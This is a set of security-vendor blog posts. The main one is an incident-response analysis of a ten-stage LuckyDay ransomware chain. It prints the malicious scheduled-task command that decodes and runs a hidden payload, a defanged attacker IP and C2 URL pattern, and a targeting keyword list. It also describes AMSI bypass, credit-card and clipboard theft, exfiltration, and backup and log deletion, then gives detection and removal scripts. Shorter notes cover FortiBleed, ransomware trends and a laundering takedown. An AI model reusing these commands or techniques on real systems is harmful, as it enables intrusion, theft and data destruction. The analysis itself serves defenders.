Article
Technical Insight: The 10 Stages of a Highly Sophisticated LuckyDay Ransomware Attack
Arete Analysis

By Elec McClellan, Security Operations Center Lead
Sophisticated threat actors may or may not know the difference between a salad knife and a dinner knife, but they’d be happy to hold either to your throat when the time is right — and they sure know how to make a 1 look like a 0.
For example, let’s talk about how the LuckyDay ransomware group uses a fake instance of not one but three hidden-in-plain-sight applications to conceal their highly sophisticated, malicious activity.
The Arete Incident Response Security Operations Center (IR SOC) team has observed and analyzed activity whereby the group used a renamed mshta.exe, a renamed powershell.exe, and a fake log file to leverage Google DNS to download a chain of 10 payloads that subsequently led to LuckyDay encrypting the host. In some cases, the ransomware even propagated to additional endpoints, maximizing damage.
Let’s walk through the 10 stages of this activity.
Stage 1: From Decoding The Fake Logfile To Getting A Payload
After receiving an active encryption alert via SentinelOne, the Arete IR SOC began analyzing the activity and found that it originated from the following script, which had been kicked off by a scheduled task:
C:WINDOWSsystem32Host.exe vbscript:CreateObject(“Wscript.Shell”).Run(“cmd.exe /C C:WINDOWSsystem32rasupd.exe -c IEX $($(gc ‘C:WINDOWSdebugl.adml’|%{[char][int]($_.split(‘x’)[-1])})-join”)”””,0,True)(window.close)

Analysis of the script revealed:
Host.exe = mshta.exe
Rasupd.exe = powershell.exe
l.adml = This appears to be some sort of log file with unique hexadecimal characters.

It is important to notice how the script is stripping out the numbers at the end of each line by splitting on the “x” character and taking the second value.
The “hexadecimal” characters are simply another way to obfuscate the true meaning of the numbers. Once converted to ASCII, the decimal numbers reveal a hidden payload:

Minimal manual manipulation of the script reveals its course of action. Depending on the version of PowerShell running on the host, one of two different URLs is used:

For PowerShell version 4 or newer, the following URL is used:
For PowerShell version 4 or older, the URL looks like the standalone URL below. The URI will always be randomized to 6-8 random lowercase, alphabetic characters that end in either ‘php’, ‘jsp’, or ‘asp’:
https[:]//1484238687/fctwhro.php (as an example)
So, dns.google[.]com (a.k.a. 8.8.8.8 or 8.8.4.4) appears safe, right? How could threat actors use that for malicious purposes?
Well, in this instance, by storing a malicious Base64-encoded value in the TXT response, of course! (Hint: Notice the value for the variable “p”.)

The variable “p” holds multiple Base64-encoded strings delimited by “/”. Once decoded, it appears to be a numeric string:

Now, what are these numbers exactly? Note: You may recognize the second decoded number as part of the URL for when a host’s PowerShell version is 4 or older (e.g., https[:]//1484238687/fctwhro.php).
So, what if we told you these are actually IP addresses written in decimal format as opposed to the more recognized dotted decimal format?

Like the standalone URL for PowerShell version 4 or older, these IP addresses also get appended with 6-8 randomized lowercase, alphabetic characters that end in either ‘php’, ‘jsp’, or ‘asp’.
Once the proper URL is determined, the script reaches out and downloads and executes a secondary payload.
Stage 2: The First Introduction To Amsi Bypass In Order To Download Next Payload
See below for the secondary payload pulled down from the URLs in Stage 1. Note the main function name: “skou”. Our research shows that the function “skou” is always an attempt to bypass the Windows Antimalware Scan Interface (AMSI) prior to the payload execution.
In the screenshot, you can see a clever method of breaking down “amsi.dll AmsiScanBuffer” into smaller strings. AMSI assists antivirus programs in detecting “script-based attacks”[1]:

The script checks to make sure that the PowerShell version of the host is greater than version 3 and if so, it kicks off the main function “skou”, initiating the AMSI bypass. Once it has successfully bypassed AMSI, it launches an additional script using the same decimal-formatted IP address methodology. Note: 1484237623 = 88.119.171[.]55:

The script will generate a URL that looks similar to those listed below:

A third payload hosted on this URL executes next.
Stage 3: Host Reconnaissance And Exfiltration
The main function name of this highly obfuscated third payload is “tsqmbb”:

This script is responsible for conducting and exfiltrating host reconnaissance data via a crafted POST request. Some of the host information it gathers is listed below, in no particular order:
Checks for browser and security software in the CurrentVersion Uninstall Registry keys.
Collects the UserName, MachineName, and BIOS Serial Number.
Collects UserDomainName, UserName, MachineName, NetworkAdapterConfigurations (ID, IP Addresses, MAC Addresses, LAN Names), and Host OS.
Checks if the current user is an Administrator or System.
Collects screen dimensions, current process name and process ID, PowerShell version, host OS architecture, host time zone, system uptime, CPU information, amount of RAM in GB, installed antivirus, and whether the host is virtual or not.
The URL breakdown of this POST request is to another decimal-formatted IP address, with “/business/” as part of the URI, followed by random, lowercase alphabetic numbers that, again, end with either “jsp”, “asp”, or “php”.

Not only does the script use this crafted POST request to exfiltrate host reconnaissance data but it also downloads and executes a fourth payload, as highlighted in the image below, with function name “wzp-jtyofxw”.

Stage 4: Payload Execution Based On Various Scenarios
The fourth highly obfuscated payload has a function name of “wzp-jtyofxw”.

This fourth payload is responsible for initiating multiple additional payloads depending on various cases:

Stage 5: Stealing Credit Card Information
The fifth payload begins with another AMSI bypass script with main function name “skou” (denoted henceforth as “skou2”). However, the follow-on script for “skou2” was different than “skou1” and has a function name of “rbpd-natp”:


This payload is executed with a parameter “$a”, a key used throughout the script. This script is responsible for stealing credit card information utilizing Empire Project’s ‘Get-Keystrokes.ps1’[2] and writing the data to a “.gcc” file located in C:Users<user>AppDataLocalTemp directory. Notice the regex triggers off a 16-digit numeric string that starts with 4, 5, or 6 (Visa, Mastercard, or Discover, respectively) or a 15-digit numeric string that starts with a 3 (American Express). The file will be formatted as such:
$env:tmp + ” + ‘FDSK-‘ + [guid]::NewGuid().Guid + ‘.gcc’
C:Users<user>AppDataLocalTempFDSK-6e2fb759-ce43-405d-b08c-22bb9645f229.gcc
Stage 6: Converting Clipboard Data And Screenshots To Jpeg Files
For the sixth payload, another AMSI bypass script with main function name “skou” (denoted henceforth as “skou3”) was executed with yet another different follow-on script. This “skou3” script kicks off a function named “GzeoIxJSYcMjpiR” with the following parameters:
$pzrin = “$env:tmp” + “tmpaddon-log”
$sqrtkisqa = “*@^][|7o,+_)Waz:MI}jF?l$msPnv0>y” (this is the same key used previously in “skou2”)
This sixth payload is not a PowerShell script. It is a C# script:

This script has two primary goals:
Copy the host’s clipboard data, convert the data to a Base64-encoded string, and save that string as the metadata for a JPEG file named:
$env:TEMP + “tmpaddon-log”
C:Users<user>AppDataLocalTemptmpaddon-log
Take screenshots of the host and convert the JPEG metadata into a file name similar to:
$env:TEMP + guid.substring(0,6) + guid.substring(0,4) + guid.substring(0,7) + “-Public-Updates.chk”
C:Users<user>AppDataLocalTemp86ef38-fb97-2b0b4aa-Public-Updates.chk
Stage 7: Exfiltrating Credit Card Information, Clipboard Data, And Screenshots
The seventh payload is another AMSI bypass script with main function name “skou” (denoted henceforth as “skou4”) that calls a secondary function named “tjvnxghcw”:

This “skou4” is responsible for crafting a POST request to exfiltrate the GCC, CHK, CCC, and tmpaddon-log files:

An example of a URL created for this crafted POST request is shown below:

Stage 8: Checking For The Presence Of Specific Software
The eighth payload is another AMSI bypass script with main function name “skou” (denoted henceforth as “skou5”). This “skou5” launches a function named “riw-jbicey”:

This script is responsible for using Empire Project’s “Get-Keystrokes.ps1” again to check for the presence of software that matches any of the keywords listed below:
‘anydesk’,’acomba’,’cylance’,’teamviewer’,’cobian’,’sentinelone’,’identity protection’,’backup’,’datto’,’loggin onsecurity’,’verification’,’itsupport’,’putty’,’veeam’,’web admin’,’webmin’,’vsphere’,’vmware’,’tightvnc’,’vpn.’,’sign-ins’,’identity protection’,’azure’,’control center’,’aws management console’,’developers’,’cisco’,’remote’,’anyconnect’,’logmein’,’banking’,’bank’,’ebanking’,’authentication’,’exodus’,’lastpass’,’hosted’,’ninite’,’dynamics nav’,’swipe’,’signin’,’log in’,’sign in’,’passw’,’login’,’idrive’,’winscp’,’iatspayment’,’gotoassist’,’evernote’,’ilo: ‘,’paypal’,’charles schwab’,’epayment’,’check-in for’,’activation’,’passw’,’new charge’,’payment information’,’one time pay’,’debit card’,’paytrace’,’authorize.net’,’chase.com’
If found, these keywords are added to a list, which is Base64-encoded and placed in the metadata of a JPEG file that is created like one of the two options below:
$env:TEMP + ‘’ + guid + ‘.gcc’
C:Users<user>AppDataLocalTemp86ef38-fb97-2b0b4aa.gcc
$env:TEMP + ‘’ + guid + ‘.chk’
C:Users<user>AppDataLocalTemp86ef38-fb97-2b0b4aa.chk

Stage 9: Generating A Named Pipe
The ninth payload is an unusual script that starts with two variables — “$a” and “$b” — both of which contain Base64-encoded PowerShell strings:

Decoding “$a” reveals a named pipe “AlVmtg” with a corresponding reader and writer:

After decoding “$b”, another AMSI bypass script with function name “skou” (denoted henceforth as “skou6”) is revealed:

Due to the type of activity this script is responsible for, we’ll dive deeper into it. The script first looks for any of the processes listed in $eab in the screenshot below and if the description for any of these processes is PowerShell, it stops the corresponding process:

The script then takes a random name from the $eab list and checks if the current user is an Administrator. If so, it creates a copy of the legitimate Windows PowerShell application and saves it with the random name from $eab list in the “C:Windowssystem32” directory.
If the current user is not an Administrator and depending on the version of PowerShell on the host, it will save the legitimate copy of Windows PowerShell to either the “C:Users<user>AppDataLocalMicrosoftWindowsPowerShell” directory or the “C:Users<user>AppDataLocalMicrosoftWindowsExplorer” directory.
Next, it copies and applies the time stamps of the legitimate PowerShell application to the new copied version:

The script then checks the version of DotNet running on the host via the “HKLM:SOFTWAREMicrosoftNET Framework SetupNDP” registry. If DotNet v3 or above is not present, it will reach out to Microsoft.com to pull down and save the intended version as $env:windirnet4.exe and then finally and quietly run C:windowsnet4.exe:

The script then creates the instance of the named pipe that we saw earlier in the decoded $a parameter and opens the named pipe:

Finally, the named pipe loads the Base64-encoded $b parameter (“skou6”):

Stage 10: The Final Payload – Luckyday Ransomware
The final payload is broken down into 10 different steps:
Step one is to check for the SCEP (System Center Endpoint Protection) client and if found, silently uninstall it. The payload then checks if wbadmin is present on the host and if so, it deletes backups and Volume Shadow Copy Service (VSS) shadow copies. If wbadmin is not present, it attempts to query the backup location and recursively delete backup directories.

The second step is to check for the presence of any applications found in a hard-coded, extensive application list, including security software and other applications. It attempts to stop the corresponding service, stop any services related to Microsoft Exchange, delete scheduled tasks related to Windows Defender and Exploit Guard, and disable and uninstall Windows Defender:

The third step is to check for running processes commonly used to analyze malware and stop them:

The fourth step writes a scrambled, compressed, Base64-encoded PowerShell string to a custom hash table in increments of 500 characters per key entry:

The fifth step orders, decodes, and decompresses the hash table and runs the LuckyDay ransomware payload in memory:

The sixth step enumerates and clears all event logs:

The seventh step deletes all shadow copies:

The eighth step, once again, enumerates and clears all event logs:

The ninth step clears the PowerShell command history:

. Finally, the tenth step closes the PowerShell session and at this time, the host has been successfully encrypted:


. Note: Interesting strings for the payload.
Recovery.txt..luckyday
OriginalFilenamelocker_64.exe

Feeling Lucky? We Hope Not.
This LuckyDay ransomware attack is highly sophisticated and the first of its kind seen by the Arete IR SOC. It’s a difficult and cumbersome attack to thwart, but every infected host will have the following four indicators of compromise (IoCs), which are unique to each host:
Scheduled task name that will be similar to a legitimate task name.
Fake log file.
Renamed mshta.exe.
Renamed powershell.exe.
To prevent the continuous execution of this activity, you must identify and remove the scheduled tasks on each individual host. Additionally, because the scheduled task continuously checks in and pulls down whatever payload the Google DNS response or static IP is hosting, the initial payload is considered polymorphic.
In our analysis, we have seen this payload simply update the scheduled task only or, as outlined above, the initial hosted payload can be easily changed to host a series of payloads that result in ransomware executing in memory. Although not shown here, but in other cases, we have also seen the ransomware propagate throughout the network and encrypt additional hosts.
Remediation: Deleting Scheduled Task Persistence
This PowerShell script will hunt for and delete the associated scheduled task.
Find Scheduled With Renamed Mshta And Powershell And Fake Log File:
$tasks = Get-ScheduledTask;foreach($task in $tasks){$taskName = $task.TaskName;$taskArgument = $task.Actions.Arguments;if($taskArgument -Match
“(vbscript:CreateObject(`”Wscript.Shell`”).Run(`”cmd.exe /C C:\WINDOWS\system32\[A-z0-9]+.exe -c `”`”IEX)(( $($(gc )|( $(gc ))'(C:\Windows\)([A-z0-9]*.[A-z]+)'(( | out-string)`”`”`”,0,True)(window.close))|(|`%{[char][int]($`_.split(‘x’)[-1])})-join”)`”`”`”,0,True)(window.close)))”){Write-Host $taskName;}}
Delete Scheduled Task With Renamed Mshta And Powershell And Fake Log File:
$tasks = Get-ScheduledTask;foreach($task in $tasks){$taskName = $task.TaskName;$taskArgument = $task.Actions.Arguments;if($taskArgument -Match
“(vbscript:CreateObject(`”Wscript.Shell`”).Run(`”cmd.exe /C C:\WINDOWS\system32\[A-z0-9]+.exe -c `”`”IEX)(( $($(gc )|( $(gc ))'(C:\Windows\)([A-z0-9]*.[A-z]+)'(( | out-string)`”`”`”,0,True)(window.close))|(|`%{[char][int]($`_.split(‘x’)[-1])})-join”)`”`”`”,0,True)(window.close)))”){Unregister-ScheduledTask -TaskName $taskName;}}
[2] https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-Keystrokes.ps1
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Article
FortiBleed Campaign Linked to INC and Lynx Ransomware Operations
Researchers have linked the FortiBleed credential-harvesting campaign to the INC and Lynx ransomware-as-a-service (RaaS) operations, establishing a direct connection between large-scale FortiGate credential theft and subsequent ransomware deployment. The attribution is based on a variety of factors, including an operator observed managing negotiation panels for both ransomware groups, notable overlap between FortiBleed victim data and subsequent ransomware targets, and internal infrastructure exposing attack workflows. The campaign is estimated to have targeted more than 430,000 internet-facing FortiGate devices, resulting in administrative access to hundreds of organizations.
What’s Notable and Unique
Researchers identified a shared operator actively managing negotiation panels for both the INC and Lynx ransomware groups, providing rare operational evidence linking the two RaaS operations beyond infrastructure or malware similarities.
Analysis of the exposed infrastructure revealed a structured ransomware operation with dedicated roles for access acquisition, victim management, negotiations, and technical support, reflecting an organized ransomware-as-a-service (RaaS) model rather than an ad hoc criminal group.
The operation reportedly integrates artificial intelligence into multiple stages of the attack lifecycle, including vulnerability research, penetration testing, attack automation, and ransomware development, demonstrating the increasing adoption of AI to enhance offensive capabilities.
Mitigations
Organizations should assume that exposed or previously compromised FortiGate credentials may be leveraged for ransomware deployment and immediately reset administrative and VPN credentials while enforcing multi-factor authentication (MFA) for all privileged access. Security teams should ensure that FortiGate appliances are fully patched, restrict management interfaces to trusted networks, and audit administrative accounts and firewall configurations for unauthorized changes. Organizations should also monitor for anomalous authentication activity, hunt for published indicators of compromise (IOCs), and review VPN and firewall logs for signs of unauthorized access. Maintaining centralized logging and a well-practiced incident response process can help detect and contain attacks before they progress to lateral movement or ransomware deployment.
Analyst Comments
The attribution of FortiBleed to the INC and Lynx ransomware operations reinforces the growing convergence between credential-harvesting campaigns and ransomware deployment, highlighting the role of initial access operations in modern RaaS ecosystems. The relationship between INC and Lynx also aligns with Arete's previous research, which identified a shared malware lineage. INC Ransom, first observed in 2023, was later leaked or sold, enabling code reuse by other threat actors. Lynx, which emerged in 2024, is widely regarded as an evolution of the INC codebase. Sinobi ransomware, identified in 2025, shares near-identical binaries and infrastructure, and approximately 99% code similarity with Lynx. Further details on the code correlation between INC, Lynx, and Sinobi are available in Arete's 2025 Annual Report.
Sources
Is FortiBleed Linked to INC and Lynx Ransomware?
FortiBleed credential-theft campaign linked to Lynx ransomware
FortiBleed Unmasked: A Joint Operation by Lynx and INC Ransomware Groups
FortiBleed Credential Theft Campaign Attributed to INC and Lynx Ransomware Groups
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Ransomware Trends & Data Insights: June 2026
Although Akira was once again the most active ransomware threat in June, activity remained relatively distributed among multiple threat groups, with 17 unique threat groups observed throughout the month. Along with Akira, Qilin and INC Ransom remained active and were among the top five most active threat groups observed in June. Several new threat actors also emerged during the month, including KryBit, Settra, and Icarus.

Figure 1. Activity from the top 5 threat groups in June 2026
Throughout the month, analysts at Arete identified several trends behind the threat actors perpetrating cybercrime activities:
In June, a threat actor calling themselves Icarus compromised and exfiltrated data from customers of the market intelligence platform Klue. Klue later confirmed the security incident, which involved attackers stealing OAuth tokens used to connect to customers' Salesforce environments, and reported that the threat actor was deleting the data stolen from affected Klue customers. In an odd twist, reports emerged of a second threat actor claiming to have compromised Icarus's infrastructure and attempting to re-extort Klue's customers. Regardless, the Klue breach highlights the growing threat of software-as-a-service (SaaS) supply chain compromises, particularly those exploiting OAuth tokens and trusted integrations to bypass traditional security controls.
In mid-June, security researchers identified a large-scale credential-harvesting and valid account abuse campaign dubbed “FortiBleed” that systematically targets internet-facing Fortinet FortiGate firewalls and SSL-VPN gateways, relying heavily on automated password spraying and configuration exfiltration rather than vulnerability exploitation. The scale of exposure and attack activity has been significant and globally distributed, with attackers collecting the login credentials of over 86,000 FortiGate devices across 194 countries. There is no singular ‘fix’ to mitigate the database exposure, and it is important that organizations work with their security teams, incident response providers, and other stakeholders to review environments holistically and monitor for signs of potentially unauthorized activity.
Multiple threat groups continue to leverage vulnerable drivers to bypass endpoint detection and response (EDR) solutions in a technique known as Bring Your Own Vulnerable Driver (BYOVD). Arete has observed Akira and DragonForce using the technique in multiple engagements, and The Gentlemen ransomware-as-a-service (RaaS) has also been observed using what researchers are calling "GentleKiller", a framework consisting of multiple variants that leverage vulnerable drivers and EDR-disabling utilities to target a wide range of endpoint security products.
Sources
Arete Internal
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Update on FortiBleed Credential Exposure
Last week, security researchers identified a large-scale credential-harvesting and valid account abuse campaign dubbed “FortiBleed” that systematically targets internet-facing Fortinet FortiGate firewalls and SSL-VPN gateways. The campaign relies heavily on automated password spraying and configuration exfiltration rather than vulnerability exploitation.
Attackers first scan for exposed FortiGate devices and rank targets based on revenue. SSH brute-force attacks are used against admin accounts to gain initial access.
Following initial access, operators deploy stealthy packet-sniffing capabilities and establish external listening posts to receive harvested credentials and session data in near real time.
Observed post-exploitation activity strongly indicates pre-positioning for broader enterprise compromise, including lateral movement and potential ransomware deployment.
The scale of exposure and attack activity has been significant and globally distributed. The campaign has been ongoing since at least February 2026, with attackers collecting the login credentials of over 86,000 FortiGate devices across 194 nations.
How Arete Can Help
Arete continues to monitor this campaign, utilizing our extensive experience in detection, threat hunting, and attack surface review to look for indications of unauthorized activity related to this database exposure. Additional information regarding important considerations, containment and credential compromise mitigation actions, and additional hardening recommendations can be found in Arete’s FortiBleed Advisory.
Sources
FortiBleed: SOCRadar’s Investigation into 86,644 Compromised Fortinet Firewalls
FortiBleed Attackers Turn Firewalls Into Credential Stealers as Heists Persist
FortiBleed: The Most Detailed Breakdown Yet of an Active Russian Credential-Harvesting Operation
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Europol Disrupts AudiA6 Crypto Laundering Service
European authorities have dismantled AudiA6, a major cryptocurrency laundering service linked to ransomware groups and broader cybercriminal networks. Between 2022 and 2025, the platform is believed to have processed over €336 million in illicit funds, enabling threat actors to obscure financial trails and monetize cybercrime proceeds. Its operators are also suspected of running Dark2Web, a dark web forum that facilitated collaboration, services, and connections among cybercriminals globally. This development underscores the expanding role of sophisticated, large-scale cryptocurrency laundering services in sustaining the cybercrime economy, enabling threat actors to obscure illicit funds and evade regulatory controls.
What’s Notable and Unique
Following law enforcement disruption of Cryptex and Garantex, AudiA6 emerged as another platform involved in financial activities linked to ransomware groups. Investigators believe that AudiA6 became a central hub for cybercriminals seeking to launder stolen digital assets while obscuring the transaction trail from authorities.
On June 10, 2026, a coordinated operation resulted in two arrests in Georgia, the dismantling of key infrastructure (30+ servers, 25 domains), the freezing or seizure of over €778,000 in crypto, and the takedown of the AudiA6 and Dark2Web platforms.
Analyst Comments
Ransomware groups and cybercriminal networks are increasingly leveraging sophisticated techniques, including chain-hopping, decentralized exchanges, and mixer-as-a-service platforms, to rapidly move illicit cryptocurrency across multiple blockchains, effectively obscuring transaction trails. Concurrently, the widespread use of fraudulent exchange accounts, mule wallets, and privacy-enhancing tools has elevated cryptocurrency laundering to a core enabler of the cybercrime ecosystem, allowing actors to bypass anti-money-laundering controls at scale. This investigation identified over 6,000 KYC records linked to money-mule accounts, many of which were tied to Russian-speaking intermediaries specifically recruited to facilitate the movement of illicit proceeds. These threat actors systematically used both commercial and domain-controlled email services to establish mule accounts across multiple cryptocurrency platforms. Collectively, these findings underscore the growing scale, coordination, and professionalization of cryptocurrency-enabled crime, highlighting the critical need for sustained, intelligence-led, and internationally coordinated efforts to disrupt these evolving financial ecosystems.
Sources
Ransomware gangs cut off from EUR 336 million ‘AudiA6’ crypto laundering pipeline



